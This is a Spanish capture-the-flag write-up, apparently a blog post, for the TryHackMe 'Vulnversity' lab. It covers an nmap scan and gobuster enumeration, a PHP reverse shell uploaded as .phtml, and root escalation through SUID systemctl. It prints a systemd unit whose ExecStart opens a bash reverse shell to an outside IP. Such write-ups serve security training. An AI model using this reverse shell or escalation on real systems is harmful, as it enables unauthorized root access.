TryHackMe — Vulnversity

CrhystamiL
4 min readMar 14, 2020

--

Tareas

  • Reconocimiento.
  • Localización de directorios con GoBuster.
  • Comprometer el webserver.
  • Escalar privilegios.

Reconocimiento

Iniciamos la etapa de reconocimiento, para esto utilizaremos nmap. Nmap es una herramienta de renocimiento de hosts, puertos y servicios, nmap nos presenta una gran variedad de opciones que podemos usar.

Escaneamos los puertos e identificamos los servicios que nos pide el portal para responder a las preguntas.

nmap -sC -sV -oN vulnversity.nmap 10.10.250.36Nmap scan report for 10.10.250.36
Host is up (0.23s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 5a:4f:fc:b8:c8:76:1c:b5:85:1c:ac:b2:86:41:1c:5a (RSA)
| 256 ac:9d:ec:44:61:0c:28:85:00:88:e9:68:e9:d0:cb:3d (ECDSA)
|_ 256 30:50:cb:70:5a:86:57:22:cb:52:d9:36:34:dc:a5:58 (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3128/tcp open http-proxy Squid http proxy 3.5.12
|_http-server-header: squid/3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Vuln University
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 39m48s, deviation: 2h53m13s, median: -1h00m12s
|_nbstat: NetBIOS name: VULNUNIVERSITY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: vulnuniversity
| NetBIOS computer name: VULNUNIVERSITY\x00
| Domain name: \x00
| FQDN: vulnuniversity
|_ System time: 2020-03-05T17:28:22-05:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-03-05 17:28:23
|_ start_date: N/A

Localización de directorios con GoBuster

Ahora analizaremos el portal WEB que se encuentra en el puerto 3333 en búsqueda de vulnerabilidades. Usaremos gobuster para la búsqueda de directorios y agregaremos un diccionario.

# Busqueda del primer directorio
$ ./gobuster dir -u http://10.10.250.36:3333/ -w ../wordlist/directory-list-2.3-medium.txt
# Búsqueda de mas directorios
$ ./gobuster dir -u http://10.10.250.36:3333/internal/ -w ../wordlist/directory-list-2.3-medium.txt

Después de un rato encontraremos los directorios

http://10.10.250.36:3333/interna/http://10.10.250.36:3333/internal/uploads

Acá les dejo GoBuster y el diccionario que utilice.

https://github.com/danielmiessler/SecLists

Comprometiendo el servidor

Tenemos diferentes puertos abiertos pero nos enfocaremos en el puerto 3333, donde tenemos un portal web y este nos entrega un formulario para poder subir un archivo.

El portal no permite subir cualquier archivo, entonces probaremos diferentes extensiones buscando un tipo de archivo valido.

Utilizaremos burpsuite para realizar estas pruebas y al mismo tiempo explotare la vulnerabilidad Unrestricted File Upload.

Usare esta web reverse shell que nos recomienda el portal y usare esta lista validar que tipo de extensión es valido.

Al ser una reverse shell debemos modificar los datos de host y el puerto para poder recibir la conexión.

Después de la búsqueda encontramos que el portal acepta subir archivos con extensión .phtml

Ahora solo falta ejecutarlo y preparar nuestro netcat a la espera de conexiones.

Escalación de privilegios

THM nos pide un token que se encuentra en el home de root y nos explica un poco sobre los SUID, en base a eso hacemos una búsqueda de todos los ejecutables con esos permisos.

Para esto usamos el comando find.

$ find / -perm /4000

y nos listara todos los archivos con los permisos que buscamos, pero hay un ejecutable en especial que podemos usar para escalar privilegios, es el systemctl.

Para esto creare un demonio que se ejecutara con los privilegios de systemctl y esto nos ayudara a tener otra shell reversa para poder obtener el token que nos pide.

Este sera el contenido del demonio y lo guardaremos a un archivo para luego subirlo y ejecutarlo.

[Unit]
Description=roooooot
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c '/bin/bash -i >& /dev/tcp/10.18.7.68/4444 0>&1'
[Install]
WantedBy=multi-user.target

Iniciamos netcat en el puerto 4444 a la escucha de conexiones y esperamos nuestra shell una vez que iniciamos el demonio. Ahora tenemos permisos de root y podemos ver el archivo.

Happy Hacking.

--

--

CrhystamiL
CrhystamiL

Written by CrhystamiL

CEH, CyberSecurity Researcher,Ethical Hacker, GNU/Linux Lover.

Responses (1)